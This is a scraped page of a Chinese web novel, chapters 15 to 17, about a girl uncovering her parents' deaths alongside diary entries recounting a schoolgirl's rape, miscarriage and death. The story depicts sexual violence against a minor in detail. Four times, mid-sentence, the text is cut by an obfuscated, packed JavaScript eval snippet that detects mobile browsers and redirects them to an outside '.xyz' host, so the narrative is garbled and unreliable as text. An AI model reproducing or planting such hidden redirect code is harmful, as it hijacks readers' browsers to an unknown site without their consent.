d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700047|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在知名期刊发表作品的加分,我也够不上本一线,偏科偏得让各科老师都眼前一黑,恨不得抓着我的领子咆哮。 在流动考场上,就连成绩比我差的同学都知道不要抄我的理科卷子。 以上这些还不算打击。 最令我害怕的是,我算了算日子,高考那天在我生理期的正中间。 更加生不如死了。 不考了,世界毁灭算了。 我趴在卧室的写字桌上,摆烂,拒绝复习。 同桌安慰我: “别怕,到时候我给你准备暖宝宝和红糖水带进去。” “高考不让带红糖水……” “那就带热水,考下一门之前我给你换上新的热水,考完了我骑车带你回家,好不好?” 他的安慰对我来说就像打针前哄我说不疼不疼,实际上疼还是会疼。 我不买账,开始提要求: “我听说多吃肉可以不痛经。” 他失笑: “你是不是又想吃油淋鸡了?我跟季野家的保姆阿姨要了配方,明天给你做,行不行?” 我哼哼唧唧: “这是有科学依据的!我听沈晓丽说的,她说女孩子多吃肉蛋奶可以减轻痛经……还说了一堆科学道理反正我没听懂,只记得结论——胖虎,你不可以觉得是因为我嘴馋才提的!我住校以后吃肉都少了,就是因为这样才痛经的!” 他敛去笑意,回忆了一下: “我们一起吃的午饭,我记得你午饭是两荤一素,怎么吃肉反而少了?” 说起这个我就来气,眼眶都有点红: “食堂阿姨看我是女孩子,就开始手抖,给我打的肉比你少三分之一,胖虎,你是不是从来没注意过?” 他哑然,随即轻声道歉: “对不起,我以为是你食量变小了……” “我每天都吃不饱!不然你以为我为什么要买那么多薯片!上次去吃烧烤的时候才是我真正的实力!”我说着说着,气得眼泪掉下来,“我每天都好饿,只能买零食,你那次还不让我吃鸭血粉丝,你都不知道我馋了多久……呜呜呜……胖虎你克扣我的零花钱,还总是不让我吃饱……你个坏蛋……” 他无措地靠近我,手掌刚碰到我后背,却被我一把推开,他连带着屁股底下的“教学专用椅”都被推到了门口。 不知道是不是生理期还没结束,我的眼泪特别多,特别多愁善感,还一个劲给他扣锅。 其实同桌也没有克扣我的零花钱,顶多是在我买零食的时候劝几句,该给还是会给,不够还会加。 可是不知为何,我此刻想起的却是那碗一直没吃到的鸭血粉丝。 就好像,我已经盼了很久很久。 就好像,已经饿了很久很久。 我控制不住自己,伏在桌上嚎啕大哭。 即使他要我在脑袋上举个为什么要哭的牌子,我也举不出来,我自己都觉得自己莫名其妙。 同桌愣了几秒,站起身,上来弯腰从背后抱住我,没有说话。 他的体温透过两层棉睡衣传递过来,柔软发丝蹭在我耳侧,呼吸声很轻,带着小心翼翼的意味。 “不会让你饿肚子了。”他说。 15.入院 第二天早上起来,我已经完全忘了昨天哭得昏天黑地的事情。 同桌来叫我起床的时候,看到我正对着床头柜发呆。 生物钟让我早上六点就醒了,尽管今天是周末。 我没看他,盯着柜子发呆。 我总觉得之前发生的事情像是做梦一样: 我,一个普普通通的高中女生,卧室柜子里居然藏着两颗头颅。 悬疑小说都不敢这么写。 那之后我去找过二叔,但是门卫室里守着的还是那个尿频尿急的大爷,他甚至说门卫从来没有换过。 二叔之前跟我写信的时候,地址是外省,我也没办法去查证。 他就这么凭空消失了,在亲手把我父母的头颅交给我之后。 他最后说的那句话,一直在我耳边回响—— 你姓陈,不姓胡。 那又是什么意思? 我的父母,到底是怎么死的? 自然死亡,还是被杀的? 我梦境里的景象,是真是假? 同桌看我两眼发直,有点慌,几步上前来,挡在我和柜子之间: “灵灵,说好今天给你做油淋鸡,走,去市场,你自己挑。” 按照往常,我早就蹿起来跟他走了。 但今天我难得开始思考。 “灵灵?”他拿手在我面前晃了晃。 我拨开他的手,看向他有些慌乱的眼睛,忽然起了试探的心思: “胖虎,我的父母是被杀的,四岁那年,对不对?” 他脸上血色一点一点褪尽,面色如霜,屏息片刻后,一只手试探着搭上我的手背: “灵灵,你听我说……” “嗯,我听着呢。” 看他的反应,我越发肯定,他知道些什么。 “他们……他们是意外身亡,当时你在我家,睡着了,什么都不知道。是你爸爸失手杀了你妈妈,之后再自杀的,警方都这么结案了,不是吗?” “那二叔为什么要给我这个?” “他,他可能是想,让你安葬他们?” 我坐在床头垂眸沉思。 同桌缓缓在我床边蹲下,仰视着我: “灵灵,我们现在就去找块墓地,把他们埋了,好不好?不要让他们被关在暗无天日的柜子里了。” “他们的身体在哪里?下葬了没有?为什么二叔不把完整的尸体给我,反而是头颅?” 我的问题越来越尖锐,同桌却有问必答: “身体不方便运输,既然你二叔现在找不到了,我们也问不到答案,不如就当作是已经烧了骨灰吧。” “胖虎。”我低头,定定地看着他,异常认真,“你不可以骗我。关于我父母的事情,你不可以骗我,不管真相是什么。” 他望着我,眼神毫不避让,没有一丝动摇,像是练习了千百遍,努力想让我相信一般: “我没有骗你。灵灵,我说的全是真的。” “那你发誓。” “我发誓。” “如果在关于父母的事情上,你骗了我,我们之间就此一刀两断。” 他面皮抽动一下,缓缓举起手,拇指和小指相触,竖起三根手指,一字一句道: “如果在关于你父母的事情上,我骗了你……我们之间,就此……” 他停顿了一秒,接着眸光微颤,木然道: “一刀两断。” “……”我沉默了很久,最终,转移了话题,“你爸妈这个周末还不回来吗。” 他为我称呼的转变,眸光颤抖一瞬,随即稳住: “他们之前说研究所有个课题要加急做,高考之后才回得来。” “嗯。” 我点点头,没继续说安葬父母的事情。 他起身,坐在我床沿,抬手,想揉我头发,最终只是握紧了我的手掌: “灵灵,你要开开心心的,好吗?别想那么多,我……我永远会帮你的。” 我将手从他手中抽出,钻回被窝,背对着他: “你让我睡到十二点,我今天一天都会很开心的。” 他失笑,带着哄劝的宠溺语气: “好。那我一个人去买菜,中午给你做油淋鸡,好吗?” “好。” 门扉闭合,屋内陷入黑暗。 我的泪水流入枕巾。 …… 【不知道为什么,最近总是很饿。 自从那次夜不归宿后,口口口好像认定我跟那群不良学坏了,把家里的存钱罐藏起来了。 我没有钱买药,撕裂的地方一直在疼,疼得我只能穿裙子。 中午在食堂也吃不饱。 回家也没有晚饭会留给我。 他好像一直认为我吃得很少。 我好饿好饿。 我曾经跟打饭的阿姨讲过的,我说,阿姨,我吃不饱。 她却笑着说,她也有个闺女,闺女瘦一点才好看,要少吃一点,不然没有男孩子喜欢。 我不明白。 为什么女孩子就要瘦一点。 没有男孩子喜欢,和我饿肚子有什么关系。 我把餐盘掀翻在她脸上,打断了她的笑容。 周围的同学都用惊讶恐惧的目光看着我。 啊……原来发疯是这种感觉。 从那之后,给我的饭量就跟男孩子一样多了。 我发现,做个神经病,好像还不错。 …… 校门口,那群不良少年看到我,掉头就跑,就好像我要追上去把他们都吃了一样。 哦,我可能真的会这么干。 因为我好饿。 唯一一个没有跑的是周驰,他那天晚上没在。 看他的表情可能也不知道那天发生了什么。 又也许他知道,只是他不在意。 周驰跨坐在机车上,冲我吹口哨: “小美女,上车吗?” 我站在那里,静静地看着他。 中午吃饱了饭,可到了放学,我又开始饿,这种饥饿感不分时间,随时随地都在折磨我。 奇怪,从前,没有饿得这么快过,两天不吃饭也没有事。 可现在,才几个小时,我就又饿了。 饿得眼睛发绿,饿到看见周驰,竟然能问出口—— “你能请我吃饭吗?我会还钱的。” 他先是愕然,接着豪气地一拍后座: “成,不用还,吃完饭跟哥哥去KFC?” 我不知道为什么吃完饭还要去KFC,但我管不了那么多了。 木然迈腿,忍着疼痛,我侧坐在了他的机车后座,揪住他衣角,在折磨神经的饥饿中,我听到自己冷淡的声音: “好。” 他问我想吃什么,我在自己还得起的范畴内,挑了最量大管饱的那个: “鸭血粉丝。” “行,走起!抓稳了!” 机车启动,后座震颤,我下意识抱紧他的腰,脸一下子疼白了,但他看不到,也不会在意。 在机车的烟尘中,我看到口口口和沈晓丽并肩走出校门。 他不经意偏头,看到我坐在周驰的后座上远去。 我在他看过来之前,就移开了目光。 鸭血粉丝的小摊就在小吃一条街上,我随便挑了一家坐下,给自己点了两碗。 周驰啧啧称奇: “你真能吃。” 我没回他,只是无精打采地趴在桌上,把头埋进臂弯。 一只手忽然伸过来,从胳膊底下穿过,眼看着就要揉上我的胸,被我一把拍开。 我直起身,冷冷地看着他。 周驰有些尴尬,但还是故作无所谓地耸耸肩: “摸一把又不会少块肉。让哥哥提前验验货呗?” “什么验货?你什么意思?” “我靠,我花钱请你吃饭,你就这态度?” “我会还钱的。” “不用还,做我女朋友就行。” “不要。我会还钱的。” 我坚持道。 他冷笑,忽然扯住我的胳膊,凑近我,恶狠狠道: “在校门口那么多人看着,你上了我的车,不就是同意被我/操?我都带走过那么多女的了,就你最难搞!是不是想坐地起价?” 我挣扎起来: “我没有同意,你放我走,我回去了!” “你真不知道KFC什么意思?反正已经不是雏了,装什么清纯!?”他不顾我的挣扎,把我扯到怀里,正要继续说,老板端着鸭血粉丝过来了,他只能暂时松手,但依旧紧紧拽着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711360|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的胳膊。 我拼命去掰他的手指: “我不跟你走,放我回去!老板,老板救我!” 周驰往桌上拍了一张百元大钞: “别理她,我们小情侣闹着玩呢,不然她怎么能跟我来这儿,这是情趣,懂吧,老板?” 老板看看他,又看看我,最后看向桌上的钱,讪讪笑了一下,把两碗鸭血粉丝放下,拿起钞票走了。 “吃啊,吃完还有正事要办呢。” 他掐着我的胳膊,挑眉威胁。 我端起滚烫的碗,想泼向他的脸,下一刻就被他按住了: “还想用这招对付我?我盯你很久了,够狠。口口口是吧?我看你天天吃不饱饭,每天独来独往的,不如跟了我,让你天天有大鱼大肉吃,怎么样?” “去你妈的!” 我爆了粗,用身体狠狠撞向他,他重心不稳连带着椅子向后倒去,我趁机站起身往外跑。 跨出门槛的瞬间,我看到了口口口。 他站在人群之外,望着我的方向,面无表情。 对视一瞬,我别过头去,跌跌撞撞跑走了。 …… 好饿。 鸭血粉丝没有吃成。 我回到家,摊开作业,才写了几笔,就觉得胃部抽痛,灼烧。 大门传来开合的声音,他回来了。 卧室的门被敲响,就像尖锥刺在心上。 又像是凌迟的倒计时。 我磨磨蹭蹭起身,打开门,看到他手上提着一袋泡沫碗装的鸭血粉丝,香味一下子飘进鼻子里。 我立刻想伸手去接,但手抬起来才知道怕,下意识抬头看他。 他面无表情,走进来,把鸭血粉丝放在我桌上,慢条斯理地从里面拿出筷子,冷声道: “站着做什么,来吃啊。” 我捂住怦怦乱跳的心脏,将信将疑,缓缓走过去,犹豫着坐下,拿起筷子。 见他没有进一步动作,我终于放心,大口大口地吃了起来。 温暖的粉丝滑进胃里,抚慰了绞痛一整个下午的胃部。 我浑身都开始暖起来。 吃了几口,我听见他在头顶轻飘飘地说: “好吃吗?” 我顾不得说话,一个劲点头。 “你一晚上就值五块钱的鸭血粉丝,是吗?” 他声音森冷。 我动作停了,一口粉丝还没咬断,低着头,泪水模糊了视线,掉进碗里。 “哭什么,我哪句话说得不对?”他声音傲慢,透着厌憎,“这么便宜,你是不是就喜欢干这个?那你也干脆别高考了,辍学去卖吧。丢人。” 他怎么可以这么说我!? 是他不给我生活费,我又找不到愿意雇我打工的地方! 是他不愿陪我放学,我才会被周驰那群人缠上,遭遇了最痛苦的事情! 我想质问他,为什么,为什么要对我这么坏? 我做错了什么? 可我说不出话。 肚子又开始痛起来了。 好像有液体流出来。 我放下筷子,低着头,死死咬住嘴唇,捂住肚子。 “又想干什么?”他居高临下道,“装可怜,博同情?你对周驰也是这样的吧?” 我带着气声,抽泣道: “疼……我好疼……” “粉丝里没下药,你别跟我演。” 我抬起泪眼看他,脸色应该非常难看,因为我看到他的表情有些变了。 我颤声说: “哥哥……我好疼啊…… “我快要死了……” 树叶开始变黄的时候,我住进了医院。 流产,刮宫,进一步观察。 口口口沉默着替我缴费,跟医生沟通,在我红着眼睛茫然不知所措的时候,把账单摔在我身上: “这么不自爱?这笔钱等你大学之后再还!” 他没有问孩子的父亲是谁。 也没有问我,痛不痛。 可这一切痛苦,我总觉得已经经历过一遍。 否则,为什么我在望着窗外落叶的时候,心情是如此平静呢? 不久后,术后的并发症带走了我。 我没能活到上大学。 ——《无名日记》】 16.回家 中午打饭的时候,同桌让我排在他后面,阿姨看到我,果然开始手抖。 我看着自己的两三块小排,再看一眼他餐盘里满满当当冒尖的排骨,当场就要发作,被同桌按住了。 他走上前来,对打饭阿姨道: “阿姨您好,这个年纪的女孩子也是要长身体的,能不能多给她打一点?” 阿姨满不在乎地笑了一下: “哎呀,女孩子吃不了多少的,我也有闺女,我知道的,她天天嚷着要减肥,爱美得很。” “您的女儿不代表所有的女孩子,爱美是她的选择,不是所有女孩子的。”同桌说到这里时,语气还是很和气的。 “你年纪小,还不懂,女孩子就是要瘦一点才好看。” 阿姨依然不让步,甚至挥了挥手,让他别挡着其他人打饭。 同桌闻言,接过我手上的餐盘,把他的餐盘换给我。 阿姨看了一眼,撇嘴,没说什么。 下一秒,我的餐盘就到了阿姨脸上。 我震惊地看着同桌的操作,和周围的一群人一起后退了一步——我是怕汤水溅到我身上。 “哎呀你这个孩子!你怎么这样!你还有没有礼貌!一点都不尊老爱幼!” 阿姨连忙后撤一大步,手忙脚乱地清理脸上和胸口的饭菜,边清理边骂。 “阿姨,尊重是相互的。您不尊重我的妹妹,我也不会尊重您。”同桌说话的语速依然不疾不徐,牵着我的手往外走,“去其他窗口看看。” 另一个窗口的阿姨旁观了全程,默不作声地给我的餐盘满上了。 同桌对她勾唇微笑: “谢谢阿姨。” 那个阿姨都没敢跟他对视。 等找到座位坐下吃饭,我依然是震惊的: “胖虎,你太刚了啊,就不怕吃处分吗?” “如果吃处分能整顿食堂,那我无所谓。不过学校大概率不会处分我。”同桌又给我夹了一块他的排骨,“他们还需要我给他们撑门面。” 他说完,顿了顿,又补充道: “灵灵,你不要学我。” 我有些生气,并且拒收了他的排骨: “你是说我成绩吊车尾,他们处分起我没压力咯?” 他眉眼微弯,将排骨绕了个圈放进我盘子里,柔声道: “我怕弄脏你的衣服。” …… 【我不知道周驰为什么要盯上我。 我已经答应他,不把他的秘密说出去了。 可他似乎觉得他有把柄在我手里,我也一定要交一个把柄给他,才算公平。 我求口口口和我一起放学回家的时候,他神色动摇一瞬,接着又冷淡地皱起眉头: “多大的人了,自己回家还不会吗?” 我想告诉他,周驰他们对我的纠缠。 想告诉他,周驰手上有枪,是我无意间发现的。 但想到枪,我不禁打了个哆嗦。 周驰说,如果我把这个秘密告诉别人,就弄死我。 以他爸爸的钞能力,我会死得悄无声息。 我不敢说。 口口口转身,在我以为他要走的时候,丢下一句: “放学之后你先在教室里做作业,等八点钟补习班结束了,我来接你。” 我松了口气。 口口口虽然有的时候说话很难听,但有个优点就是答应的事一定会做到。 而且他对我尽管算不上好,但也算不上差,大多数时间是不闻不问的放养状态,把我当空气。 “那我等你。”我对着他的背影扬起笑脸,偷偷补了句,“哥哥。” 他脚步隐约踉跄一瞬。 哦,对。 他不许我叫他哥哥。 他不承认我是他的妹妹。 我不太记得小时候的事情了,据说是四岁的时候发了一场高烧。 我只隐约记得那场高烧之前,他对我好像还挺好的。 但是在我爸妈收养了他之后,他就冷淡起来。 可能这就是男孩子莫名其妙的自尊心,觉得寄人篱下吧。 不过他的成绩很给我爸妈长脸,是学校荣誉榜的常客,而我就是他的对照组,干啥啥不行,吃饭第一名。 其实以他的成绩,完全可以去上县里的高中,但是不知道为什么,可能是他手抖,填报的时候,还是选了池镇高中,把日日夜夜翘首以盼把他接走的县里老师气了个半死。 我觉得,以他的条件,完全没必要自卑。 他可以对我再好一点的,我又不会跟他抢爸妈的爱。 我甚至希望我爸妈能多爱他一点。 他很小就没了爸妈,好可怜的。 我愿意把我爸妈分给他一半。 后来我想了想,做人不能要求太多,比如要求他既优秀又对我好。 毕竟我是个猪脑子,将来长大了肯定也不能成为国家的栋梁,他在我身上花时间还不如多刷几套题。 至少,他现在对我的态度已经缓和许多了。 尽管大多数情况下还是不爱搭理我,不会跟我说太多话,但像这种接我放学的小事,只要我求一求他,他多半还是会答应。 嘿嘿。 …… 夕阳一点一点偏移。 快到八点的时候,天已经全黑了。 窗外树影摇曳,打在装了铁栏杆的窗户上,沙沙作响。 我坐在灯火通明的教室里,有些发怵。 这里好空旷,好安静。 之前来关门的门卫大爷问我为什么还不走,我说在等哥哥,他嘟囔了一句什么就离开了。 我觉得应该是“走的时候记得关灯关门”。 我低头继续做题,把不会的圈出来,打算之后厚着脸皮问口口口。 他今天答应陪我一起回家,我顺势问他几道题目,他应该不会拒绝我了吧? 我记得他这种性格,在动漫中被称作冰山。 直球克冰山,只要我打直球,他就一定会答应教我的! 教室门再次被推开的时候,我开始收拾文具,打算跟口口口回家。 抬头,看到的是以周驰为首的几个不良少年。 脑袋轰然炸响,喉咙干涩,我咽了咽口水,下意识握紧文具盒里的圆规。 周驰一步步走近,前门和后门都有人去堵住。 他说: “我在你回家路上等了好久,口口口,你这么晚还不回去,是在邀请我吗?” “我不知道你在说什么。”我握紧圆规,手指发颤,“我哥哥马上来接我。” “你说口口口?他忙着上补习班,哪有空鸟你?你在这等到明天他都不会来!” 他没有停下脚步,我步步后退,贴到墙面上,侧头去看逃跑路线时,已经被他掐住下巴。 他抓住我藏在身后、握着圆规的手,高高举起,讽刺一笑: “就知道你这小妞鬼主意多得很,带刺呢?真合我胃口!” 圆规被他掷到地上,我看向他身后,大声呼救: “救命——!哥哥救我!” 他分神去看,我挣开他的手掌,刚要逃跑,又被他揪住头发,一把拽回去: “敢骗我?” 撕拉一声,裂帛清脆。 哥哥!哥哥——! 哥哥救我,哥哥救我,哥哥救我——! 我嗓音嘶哑,大声呼救,尽一切努力去反抗,踢打他,撕咬他,但是手脚被按住,嘴里被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726958|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞上布条,课桌冰凉,书本被扫到地上。 人多势众。 精疲力尽。 哥哥,哥哥…… 呜呜呜哥哥救我…… 我没了尖叫的力气,刺眼白炽灯在泪眼中摇晃,周驰伏在我身上,似乎觉得难以继续,狠狠拍了我一下: “放松点!妈的!” 我呜咽出声,浑身都在发抖,泪光中,视线掠过周驰正在用力的腰腹,隐约看到门口走进来一个熟悉的身影。 哥哥救我! 泪水大滴大滴地滚落眼角,我向着那个身影颤抖着伸出手,却听到他说: “你们完事了没有?可以请你们出去了。” 手指僵在半空。 …… 我身上披着口口口的外套,木然坐在卧室床沿,手里捧着一杯热水。 他递给我两片药,我垂着眼,沉默着接过来,手指还在发抖,药片掉在了地上,我想弯腰,但是很疼。 他蹲下身捡起来递给我,我默不作声地仰头吞下,又灌了一口水。 很恶心,想吐。 但是吐不出来。 为了等口口口,我晚饭都没吃。 我人坐在这里,但是灵魂不知飘去了何方。 也许我早就死了吧。 我看到电视上,遇到这种事的女孩子一般都会放声大哭,或者扑到亲近的人怀里。 可我已经没有眼泪可以流了,口口口也不是我亲近的人——我们关系算不上好。 所以我只是木然地坐在这里。 我还能怎么办呢。 寻死觅活? 凭什么? 就算我真的这么做了,又有谁会心疼我? 该遭到报应的人,根本不会有一丝一毫的愧疚! 我不知道该怎么办,也不知道这件事可以跟谁讲。 但我知道,决不能被打倒。 所以我现在最好赶紧躺下睡觉,让身体好好休息。 口口口接过水杯,在我躺下时,一句话都没说,转身走了。 就好像今晚什么都没发生。 …… 那一晚过后,口口口更加不爱搭理我了。 可能是觉得,我给他添麻烦了吧。 又或者只是觉得,我给他丢人了。 周驰好像终于如愿以偿,发现了拿捏我的办法,三不五时就要约我出去兜风,就算是平时下课,也喜欢找机会堵我。 我现在开始庆幸,平时住校,女寝他也进不来。 所以只要我下课之后躲进宿舍,他就奈何不了我。 但周五晚上我是要回家的。 这周五,我一整天都在思考用什么借口跟爸妈说周末不回家,换了七八个借口都不满意。 快放学的时候,我正在埋头做题,身边忽然站了一个人,而且站了好几秒都不走。 我抬头看去,是背着书包的口口口。 他垂下眼,没什么表情地看着我,单手插在兜里,另一只手按在我的橡皮上,指节修长,在我愣神的功夫,已经把橡皮扔进文具盒里: “走,回家。” 我呆了半晌,结结巴巴地问他: “你,你补习班呢?” “退了。” 他说。 我一时间有些反应不过来。 口口口,主动说,要和我一起回家。 他的脸和那天晚上一模一样,还是这么冷。 我低下头,嗫嚅道: “我,我这周末不回家。” “你确定?” 他的声音听不出喜怒。 我点头。 他又在我身旁站了几秒,转身离开了。 ——《无名日记》】 17.悔悟 “灵灵,生日想要什么礼物?” 同桌敲门进来问我。 我正趴在卧室书桌上看《苔丝》,啊了一声: “是哦,明天就是我的生日了?” “你怎么不记事。”他失笑,揉了揉我的头发,“快想,我好去准备。” “哎呀,说出来不就不算惊喜了,放心,你送什么我都收!” “这可是你的十八岁生日,算是成年礼,我打算送你两件礼物,一件你指定,还有一件是惊喜。” 我晃了晃悬空的双腿,思考片刻: “你的预算是多少?” “这么贴心?不用给我省钱,我打电竞比赛能挣到钱的。” 他这么一说我才想起来,同桌好像确实有时会去镇上网吧玩游戏,我以为他只是在玩物丧志,没想到居然能靠比赛挣钱!? “哇,那我岂不是可以宰你一刀?”我立刻夹好书签,合上书,“那你带我出去旅游行不行?我还没出过池镇呢!” “行啊,高考结束之后就带你去。”他眉眼含笑,“至于另一件礼物,明天你就好好期待吧。” …… 第二天是工作日,我还得上学。 生日当天还得上学! 我真是天底下最惨的人! 这一天过得相当无聊,连黄鼠狼讲课的节奏都和以前一模一样,催人昏昏欲睡。 可我不敢在他的课上睡。 他对我单方面寄予厚望,总爱把我称作他“前后五十年教过最有灵性的学生”,县上和市里有什么知识竞赛,总撺掇着我去参加,说我总是知道一些稀奇古怪的冷知识,正好可以克那些出题角度刁钻的知识竞赛——这倒是真的。 知识竞赛的题目范围浩如烟海,从“蜂窝煤有几个孔”到“我国火车轨道的宽度”,全方位无死角地试图向参赛者力证他们的知识储备是多么贫瘠。 诶嘿,我就不一样。 我就爱杂学,就爱读一些乱七八糟的“闲书”。 所以每次都能拿个一二等奖回来。 再加上其他鸡零狗碎的作文比赛奖项,加起来也能和同桌的全市联赛喜报、三好学生奖状比一比厚度了。 正所谓爱之深责之切,我成为了黄鼠狼课上唯一一个不被允许睡觉的学生。 一睡就会被他点名回答问题。 好痛苦。 为什么同桌身为各科老师眼中“最有灵性的学生”,可以在任何一节课上睡觉? 我用手肘捅了捅趴在桌上补觉的同桌——鬼知道为什么他天天睡觉,成绩还那么好!? 总之我叫醒了他。 他睡眼迷蒙地揉了揉眼角,打着哈欠,声音还有点哑,眼角湿润: “怎么了?” “不许睡!”我凶巴巴道,“还有一个小时放学,你最好是真的给我准备了生日礼物!” 他哈欠打到一半,中途转成了一个笑容: “很期待?” “不期待。” 我撇嘴。 …… 【我好害怕。 月经已经有两三个月没来了。 我不知道该跟谁讲。 爸爸妈妈去了外地跟项目,封闭式管理,根本联系不上,口口口…… 一想起他,我的胸口就一阵闷痛。 在我乞求他的庇护时,他既没有及时赶到,也没有帮我打跑坏人。 他跟陌生人又有什么区别呢? 我偷了存钱罐的钱,去了药店。 药师阿姨看我捏着一张钞票,无头苍蝇一样在店里逛了一圈又一圈,问我要买什么。 我吞吞吐吐地问: “有没有,验孕棒……” 她带了些惊讶看我,眼神中的同情和无形的谴责,叫我抬不起头。 “拿去吧。”她把东西递给我,又问,“小姑娘,你成年了没有啊?” 我讷讷点头,她于是叹了口气,关切叮嘱道: “那以后做这种事要记得戴套的,知道哪里有得卖吗?知道怎么保护好自己吗?你男朋友知道这件事吗?” 我心乱如麻,慌里慌张地连连点头,也不管她说的是什么,交了钱,连找零都不要了,夺门而逃。 药师还说了些什么,被我统统丢到脑后。 我漫无目的地在街上走着,无意中逛到一个公园,想了想,进了公共厕所。 在又脏又乱的隔间里,我望着验孕棒上的两道杠发呆。 明明吃过药的。 为什么不管用了呢? 我在厕所隔间里待了好久,想了很多种方案。 甚至想过跟沈晓丽求助。 她家里人是做大生意的,据说她已经有属于自己的基金会了。 她肯定见过世面,知道这种情况该怎么办。 可这就代表着我要把我身上发生的事情都告诉她。 我和她本来就不熟,没办法全心全意地信任她。 要报警吗? 尽管我不认为在这件事中,我有过错,但流言可以杀人。 特别是在池镇这样一个极其闭塞的小镇上,我的遭遇会成为茶余饭后的谈资,五年后,十年后,依然被人们津津乐道。 我不想把可以伤到我的刀递到一群不知善恶的人手中,不想成为第二个跳楼的女孩。 这个世界对于一个没有经验的少女来说,是如此充满恶意。 我躲在隔间里,一直到天黑都不敢出去。 推门出去就代表着,我要被迫面对这些我目前根本无法承受的事情。 时间缓缓推移。 我打了个激灵,睁开眼,发现自己已经坐在隔间地上睡着了,手表显示半夜十一点。 鼻端已经闻不出厕所臭味,应该是被熏习惯了,身上也多半腌入味了。 拖着酸麻的双腿推开隔间,我沮丧地想,不管怎样,还是要回家一趟。 明天还要上课,我不能让任何人看出异样。 就算天塌下来,也还是要上学。 因为这是我岌岌可危的日常中,唯一能将我拽回人间的习惯。 只要遵循这个惯性,我的日常就似乎不至于脱轨。 路灯柔光朦胧地披在我肩上,我回到小区楼下,抬头看去,属于我家的那一层,竟然还亮着灯光。 我轻呼了口气,想找个角落蹲下,等口口口睡着之后再进去,楼道阴影里却忽然走出一个身影。 我警觉后退,却听他说: “别怕,是我。” 我立于路灯之下,与阴影中的他对视,楼道将我们分为泾渭分明的光与暗。 他隐在黑暗里看不清晰,只有半片裤腿沾染光明。 我的手指开始颤抖。 口口口沉默片刻,和我同时开口: “正准备去找你。” “对不起我偷了钱。” 难堪的一阵沉默后,他哑声道: “没关系。” 我轻轻点了一下头。 他似乎还想说些什么,但最终只是转身,留给我一个挺拔背影: “走吧,回家。” 我注意到他后背有一块区域被染成了深色,全是汗,应当不是“正准备去找我”,而是已经找了一圈回来。 我没有戳破他。 回到家,我径直走进卧室,正要关门,他却用手挡住门板,试图推门进来。 “什么事?”我有些抗拒地把他拦在门口。 他低头看我,嘴唇动了动: “后天是周六。” “所以呢。” 我不冷不热地回答。 “我带你去医院。” 冷风从门缝里钻进来,我打了个寒颤。 他重复了一遍: “我带你去医院。别怕。” 我低着头,用力把门板合上。 …… 口口口坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731817|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病床边,看着我的验血报告单,手指攥得发白。 我没什么跟他交谈的心情,默默地等到麻醉褪去,小腹的疼痛翻卷而来,又渐渐习惯。 刚撑起身准备走,就被他抓住了手腕,我愕然回首,看到口口口脸色惨白,看上去比我这个刚做过手术的人都虚弱。 动了动手腕,挣不脱。 我低声开口: “放手。” 不能大声说话。 不然肚子会疼。 他脸上出现了我从未见过的慌张和迷茫之情,坐在那里抬头看我,嘴唇微颤: “你是A型血?” 我感到莫名其妙: “一直都是。” 他对我一直不上心,如果不是跟我一个班,我毫不怀疑他会以为我还在上初中。 “有没有可能……是医院弄错了,或者,人的血型是会变的?” 他喃喃低语,不像是在问我,像是在问自己。 “我不知道,你该去问医生。” 我想甩开他的手,他却先一步松开,拿着化验单跌跌撞撞走了。 当天晚上,我觉得疲乏,很早就睡了。 睡梦中感觉到有人在摸我的脸,很轻柔的触感,自眼角滑到脸颊。 温热吐息拂在我脸上,又悄然离去。 可当我睁开眼时,屋内一片昏暗,没有人在。 …… 口口口变了。 他开始接送我上下学,即使不是周五,也要送我到女生宿舍门口才罢休。 每周的零花钱会按时给到我,好像还比爸妈原先给的多了许多。 在班上其他男生冲我吹口哨,弹我内衣带,在我面前做出下流手势的时候,他会冷着脸把人赶跑。 他跟老师要求调座位,跟我做了同桌。 他不再无视我,冷待我,打压我,简直就像是,被夺舍了一样。 我感到困惑,迷茫,无所适从。 就像是一个在冰天雪地里走了许久的人,突然被投入温泉之中,肌肤还不能适应滚烫的温度,所以乍然感觉到的不是温暖,而是刺痛。 就好像现在,我放学回家,在卧室里做了一会儿题,听到敲门声。 